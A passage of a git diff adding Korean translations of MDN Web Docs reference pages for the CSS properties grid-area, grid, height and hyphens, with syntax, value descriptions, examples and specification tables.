+  background-color: yellow;
+}
+
+#item3 {
+  background-color: blue;
+}
+</pre>
+
+<p>{{EmbedLiveSample("Example", "100%", "150px")}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Grid", "#propdef-grid-area", "grid-area")}}</td>
+   <td>{{Spec2("CSS3 Grid")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.properties.grid-area")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Related CSS properties: {{cssxref("grid-row")}}, {{cssxref("grid-row-start")}}, {{cssxref("grid-row-end")}}, {{cssxref("grid-column")}}, {{cssxref("grid-column-start")}}, {{cssxref("grid-column-end")}}, {{cssxref("grid-template-areas")}}</li>
+ <li>Grid Layout Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></em></li>
+ <li>Video tutorial: <em><a href="http://gridbyexample.com/video/grid-template-areas/">Grid Template Areas</a></em></li>
+</ul>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+ <li data-default-state="open"><a href="#"><strong>Guides</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basics concepts of grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Properties</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Glossary</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+   <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ko/web/css/grid/index.html b/files/ko/web/css/grid/index.html
new file mode 100644
index 0000000000..7515db99be
--- /dev/null
+++ b/files/ko/web/css/grid/index.html
@@ -0,0 +1,192 @@
+---
+title: grid
+slug: Web/CSS/grid
+tags:
+  - CSS
+  - CSS Grid
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/grid
+---
+<p><strong><code>grid</code></strong> CSS 속성은 <a href="/en-US/docs/Web/CSS/Shorthand_properties">shorthand</a> property 입니다. 외재적인 속성인 ({{cssxref("grid-template-rows")}}, {{cssxref("grid-template-columns")}}, {{cssxref("grid-template-areas")}}), 값과 내재적인 속성인 ({{cssxref("grid-auto-rows")}}, {{cssxref("grid-auto-columns")}}, {{cssxref("grid-auto-flow")}}), 값을 한번에 설정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/grid.html")}}</div>
+
+
+
+<div class="note">
+<p><strong>Note:</strong> You can only specify the explicit <em>or</em> the implicit grid properties in a single <code>grid</code> declaration. The sub-properties you don’t specify are set to their initial value, as normal for shorthands. Also, the gutter properties are NOT reset by this shorthand.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: css no-line-numbers">/* &lt;'grid-template'&gt; values */
+grid: none;
+grid: "a" 100px "b" 1fr;
+grid: [linename1] "a" 100px [linename2];
+grid: "a" 200px "b" min-content;
+grid: "a" minmax(100px, max-content) "b" 20%;
+grid: 100px / 200px;
+grid: minmax(400px, min-content) / repeat(auto-fill, 50px);
+
+/* &lt;'grid-template-rows'&gt; /
+   [ auto-flow &amp;&amp; dense? ] &lt;'grid-auto-columns'&gt;? values */
+grid: 200px / auto-flow;
+grid: 30% / auto-flow dense;
+grid: repeat(3, [line1 line2 line3] 200px) / auto-flow 300px;
+grid: [line1] minmax(20em, max-content) / auto-flow dense 40%;
+
+/* [ auto-flow &amp;&amp; dense? ] &lt;'grid-auto-rows'&gt;? /
+   &lt;'grid-template-columns'&gt; values */
+grid: auto-flow / 200px;
+grid: auto-flow dense / 30%;
+grid: auto-flow 300px / repeat(3, [line1 line2 line3] 200px);
+grid: auto-flow dense 40% / [line1] minmax(20em, max-content);
+
+/* Global values */
+grid: inherit;
+grid: initial;
+grid: unset;
+</pre>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>&lt;'grid-template'&gt;</code></dt>
+ <dd>{{cssxref("grid-template-columns")}}, {{cssxref("grid-template-rows")}}, {{cssxref("grid-template-areas")}} 값을 내포하고 있는 {{cssxref("grid-template")}}의 값을 정의합니다.</dd>
+ <dt><code>&lt;'grid-template-rows'&gt; / [ auto-flow &amp;&amp; dense? ] &lt;'grid-auto-columns'&gt;?</code></dt>
+ <dd>{{cssxref("grid-template-rows")}} (and the {{cssxref("grid-template-columns")}} property to <code>none</code>)은 auto-flow 값을 설정합니다. {{cssxref("grid-auto-columns")}} (and setting {{cssxref("grid-auto-rows")}} to <code>auto</code>)은 auto-repeat를 설정합니다. {{cssxref("grid-auto-flow")}} 또한 마찬가지로 auto-repeat에 영향을 줍니다. 만약 이 값이 생략되었다면 그 기본값은 <code>dense</code> 입니다.
+ <p><code><font face="Verdana, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">만약 </span></font>grid</code> 의 sub-properties가 있다면, 해당 값으로 초기화 됩니다.</p>
+ </dd>
+ <dt><code>[ auto-flow &amp;&amp; dense? ] &lt;'grid-auto-rows'&gt;? / &lt;'grid-template-columns'&gt;</code></dt>
+ <dd>{{cssxref("grid-template-columns")}} (and the {{cssxref("grid-template-rows")}} property to <code>none</code>)은 auto-flow 값을 설정합니다. {{cssxref("grid-auto-rows")}} (and setting {{cssxref("grid-auto-columns")}} to <code>auto</code>)은 열(row)에 대한 auto-repeat를 설정합니다. {{cssxref("grid-auto-flow")}} 또한 마찬가지로 auto-repeat에 영향을 줍니다. 만약 이 값이 생략되었다면 그 기본값은 <code>dense</code> 입니다.
+ <p><code><font face="Verdana, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">만약  </span></font>grid</code> 의 sub-properties가 있다면, 해당 값으로 초기화 됩니다.</p>
+ </dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Example">Example</h2>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">&lt;div id="container"&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS_Content">CSS Content</h3>
+
+<pre class="brush: css">#container {
+  display: grid;
+  grid: repeat(2, 60px) / auto-flow 80px;
+}
+
+#container &gt; div {
+  background-color: #8ca0ff;
+  width: 50px;
+  height: 50px;
+}</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("Example", "100%", 150)}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Grid", "#propdef-grid", "grid")}}</td>
+   <td>{{Spec2("CSS3 Grid")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.properties.grid")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Related CSS properties: {{cssxref("grid-template")}}, {{cssxref("grid-template-rows")}}, {{cssxref("grid-template-columns")}}, {{cssxref("grid-template-areas")}}, {{cssxref("grid-auto-columns")}}, {{cssxref("grid-auto-rows")}}, {{cssxref("grid-auto-flow")}}</li>
+ <li>Grid Layout Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement with CSS Grid</a></em></li>
+ <li>Grid Layout Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas#Grid_definition_shorthands">Grid template areas - Grid definition shorthands</a></em></li>
+</ul>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+ <li data-default-state="open"><a href="#"><strong>Guides</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basics concepts of grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Properties</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Glossary</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+   <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ko/web/css/height/index.html b/files/ko/web/css/height/index.html
new file mode 100644
index 0000000000..8682d0c2c5
--- /dev/null
+++ b/files/ko/web/css/height/index.html
@@ -0,0 +1,175 @@
+---
+title: height
+slug: Web/CSS/height
+tags:
+  - CSS
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/height
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>height</code></strong> CSS 속성은 요소의 높이를 지정합니다. 기본값은 콘텐츠 영역의 높이지만, {{cssxref("box-sizing")}}이 <code>border-box</code>라면 테두리 영역의 높이를 설정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/height.html")}}</div>
+
+
+
+<p>{{cssxref("min-height")}}와 {{cssxref("max-height")}} 속성은 <code>height</code>를 덮어씁니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* 키워드 */
+height: auto;
+
+/* &lt;length&gt; */
+height: 120px;
+height: 10em;
+
+/* &lt;percentage&gt; */
+height: 75%;
+
+/* 전역 값 */
+height: inherit;
+height: initial;
+height: unset;
+</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>높이의 절대값.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd><a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a> 높이의 백분율.</dd>
+ <dt><code>border-box</code> {{experimental_inline}}</dt>
+ <dd>앞선 {{cssxref("&lt;length&gt;")}} 또는 {{cssxref("&lt;percentage&gt;")}}가 요소의 보더 박스에 적용.</dd>
+ <dt><code>content-box</code> {{experimental_inline}}</dt>
+ <dd>앞선 {{cssxref("&lt;length&gt;")}} 또는 {{cssxref("&lt;percentage&gt;")}}가 요소의 콘텐츠 박스에 적용.</dd>
+ <dt><code>auto</code></dt>
+ <dd>브라우저가 요소의 너비를 계산하고 선택.</dd>
+ <dt><code>fill</code> {{experimental_inline}}</dt>
+ <dd>글쓰기 방향에 따라 <code>fill-available</code> 인라인 크기 또는 <code>fill-available</code> 블록 크기를 사용.</dd>
+ <dt><code>max-content</code> {{experimental_inline}}</dt>
+ <dd>본질적인 선호 높이.</dd>
+ <dt><code>min-content</code> {{experimental_inline}}</dt>
+ <dd>본질적인 최소 높이.</dd>
+ <dt><code>available</code> {{experimental_inline}}</dt>
+ <dd>컨테이닝 블록 너비에서 수평 여백, 테두리, 패딩을 제외한 값.</dd>
+ <dt><code>fit-content</code> {{experimental_inline}}</dt>
+ <dd>다음 중 더 큰 값.
+ <ul>
+  <li>본질적인 최소 너비</li>
+  <li>본질적인 선호 너비와 사용 가능한 너비 중 작은 값</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="taller"&gt;제 키는 50픽셀입니다.&lt;/div&gt;
+&lt;div id="shorter"&gt;제 키는 25픽셀입니다.&lt;/div&gt;
+&lt;div id="parent"&gt;
+  &lt;div id="child"&gt;
+    제 키는 부모의 절반입니다.
+  &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  width: 250px;
+  margin-bottom: 5px;
+  border: 2px solid blue;
+}
+
+#taller {
+  height: 50px;
+}
+
+#shorter {
+  height: 25px;
+}
+
+#parent {
+  height: 100px;
+}
+
+#child {
+  height: 50%;
+  width: 75%;
+}
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('예제', 'auto', 240)}}</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>페이지를 확대하거나 글꼴 크기를 늘렸을 때 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">height</span></font> 속성을 지정한 요소가 잘리거나 다른 내용을 가리지 않도록 확인하세요.</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-scale.html">Understanding Success Criterion 1.4.4  | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Box', '#width-and-height', 'height')}}</td>
+   <td>{{Spec2('CSS3 Box')}}</td>
+   <td>Added the <code>max-content</code>, <code>min-content</code>, <code>available</code>, <code>fit-content</code>, <code>border-box</code>, <code>content-box</code> keywords.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'height')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Lists <code>height</code> as animatable.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visudet.html#the-height-property', 'height')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Adds support for the {{cssxref("&lt;length&gt;")}} values and precises on which element it applies to.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#height', 'height')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Sizing', '#width-height-keywords', 'width')}}</td>
+   <td>{{Spec2('CSS3 Sizing')}}</td>
+   <td>Adds new sizing keywords for width and height.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.height")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/box_model">box model</a>, {{cssxref("width")}}, {{cssxref("box-sizing")}}, {{cssxref("min-height")}}, {{cssxref("max-height")}}</li>
+</ul>
diff --git a/files/ko/web/css/hyphens/index.html b/files/ko/web/css/hyphens/index.html
new file mode 100644
index 0000000000..82f963023f
--- /dev/null
+++ b/files/ko/web/css/hyphens/index.html
@@ -0,0 +1,159 @@
+---
+title: hyphens
+slug: Web/CSS/hyphens
+tags:
+  - CSS
+  - CSS Property
+  - CSS Text
+  - Reference
+  - 'recipe:css-property'
+translation_of: Web/CSS/hyphens
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><a href="/en-US/docs/Web/CSS">CSS</a> <strong><code>hyphens</code></strong> 속성은 여러 줄에 걸치는 텍스트에서 단어에 붙임표를 추가하는 방식을 설정합니다.</span> 붙임표를 아예 방지할 수도 있고, 수동으로 지정한 곳에서만 발생하도록 나타낼 수도 있으며, 브라우저가 자동으로 적절한 곳에 붙임표를 삽입하도록 허용할 수도 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/hyphens.html")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<p>붙임표 규칙은 언어별로 다릅니다. HTML의 언어는 <code><a href="/ko/docs/Web/HTML/Global_attributes/lang">lang</a></code> 특성으로 알아낼 수 있으며, 브라우저는 lang 특성과 해당 언어에 적합한 붙임표 규칙이 모두 사용 가능할 때에만 붙임표를 추가합니다. XML에서는 <code><a href="/ko/docs/Web/SVG/Attribute/xml:lang">xml:lang</a></code> 특성을 사용해야 합니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 명세는 붙임표 규칙을 명시하지 않고 있으므로 동작 방식이 브라우저마다 다를 수 있습니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers notranslate">/* 키워드 값 */
+hyphens: none;
+hyphens: manual;
+hyphens: auto;
+
+/* 전역 값 */
+hyphens: inherit;
+hyphens: initial;
+hyphens: unset;
+</pre>
+
+<p><code>hyphens</code> 속성은 아래 목록 중 하나의 키워드를 사용해 지정할 수 있습니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>단어 내의 문자가 줄 바꿈 위치를 나타내더라도 단어를 내에서 줄을 바꾸지 않습니다. 줄 바꿈은 공백 문자에서만 발생합니다.</dd>
+ <dt><code>manual</code></dt>
+ <dd>단어 내의 줄 바꿈 위치를 나타내는 문자에서는 줄을 바꿀 수 있습니다. 아래의 {{anch("줄 바꿈 위치 제안")}}에서 자세한 정보를 알아보세요.</dd>
+ <dt><code>auto</code></dt>
+ <dd>브라우저가 단어 내의 적합한 붙임표 위치를 자유롭게 골라서 줄을 바꿀 수 있습니다. 단, 줄 바꿈 위치를 제안(아래의 {{anch("줄 바꿈 위치 제안")}} 을 보세요)한 경우에는 해당 위치를 사용합니다.</dd>
+</dl>
+
+<div class="note">
+<p><strong>참고:</strong> 적합한 붙임표 규칙을 선택할 수 있도록 언어를 제대로 명시해야 <code>auto</code> 값의 동작도 정확해집니다. HTML <code>lang</code> 특성을 사용해 해당 언어의 붙임표 규칙을 사용할 것을 확실하게 지정하세요.</p>
+</div>
+
+<h2 id="줄_바꿈_위치_제안">줄 바꿈 위치 제안</h2>
+
+<p>아래의 두 가지 Unicode 문자를 사용해서 수동으로 줄 바꿈 위치를 제안할 수 있습니다.</p>
+
+<dl>
+ <dt>U+2010 (HYPHEN)</dt>
+ <dd>붙임표, "하드" 하이픈 문자는 눈에 보이는 줄 바꿈 위치를 나타냅니다. 실제로 줄이 바뀌지는 않더라도 붙임표를 볼 수 있습니다.</dd>
+ <dt>U+00AD (SHY)</dt>
+ <dd>투명한 "소프트" 하이픈("<strong>s</strong>oft" <strong>hy</strong>phen)입니다. 눈에 보이지 않으며, 브라우저가 붙임표를 사용해 단어를 끊을 위치로 선택합니다. HTML에서는 <code>&amp;shy;</code>를 사용해 입력하세요.</dd>
+</dl>
+
+<div class="blockIndicator note">
+<p>HTML {{htmlelement("wbr")}} 요소로 인한 줄 바꿈으로는 붙임표가 추가되지 않습니다.</p>
+</div>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="붙임표_줄_바꿈_지정하기">붙임표 줄 바꿈 지정하기</h3>
+
+<p>다음 예제는 <code>hyphens</code> 속성에 사용할 수 있는 세 개 값을 시연합니다.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;dl&gt;
+  &lt;dt&gt;&lt;code&gt;none&lt;/code&gt;: no hyphen; overflow if needed&lt;/dt&gt;
+  &lt;dd lang="en" class="none"&gt;An extreme&amp;shy;ly long English word&lt;/dd&gt;
+  &lt;dt&gt;&lt;code&gt;manual&lt;/code&gt;: hyphen only at &amp;amp;hyphen; or &amp;amp;shy; (if needed)&lt;/dt&gt;
+  &lt;dd lang="en" class="manual"&gt;An extreme&amp;shy;ly long English word&lt;/dd&gt;
+  &lt;dt&gt;&lt;code&gt;auto&lt;/code&gt;: hyphens where the algorithm decides (if needed)&lt;/dt&gt;
+  &lt;dd lang="en" class="auto"&gt;An extreme&amp;shy;ly long English word&lt;/dd&gt;
+&lt;/dl&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">dd {
+  width: 55px;
+  border: 1px solid black;
+ }
+dd.none {
+  -webkit-hyphens: none;
+  -ms-hyphens: none;
+  hyphens: none;
+}
+dd.manual {
+  -webkit-hyphens: manual;
+  -ms-hyphens: manual;
+  hyphens: manual;
+}
+dd.auto {
+  -webkit-hyphens: auto;
+  -ms-hyphens: auto;
+  hyphens: auto;
+}
+</pre>
+
+<h4 id="결과">결과</h4>
+
+<figure>
+<p>{{EmbedLiveSample("붙임표_줄_바꿈_지정하기", "100%", 490)}}</p>
+</figure>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Text", "#hyphens-property", "hyphens")}}</td>
+   <td>{{Spec2("CSS3 Text")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("css.properties.hyphens")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{Cssxref("content")}}</li>
+ <li>{{cssxref("overflow-wrap")}} (이전 이름 <code>word-wrap</code>)</li>
+ <li>{{cssxref("word-break")}}</li>
+</ul>
diff --git a/files/ko/web/css/id_selectors/index.html b/files/ko/web/css/id_selectors/index.html
new file mode 100644
index 0000000000..10df449707
--- /dev/null
+++ b/files/ko/web/css/id_selectors/index.html
@@ -0,0 +1,85 @@
+---
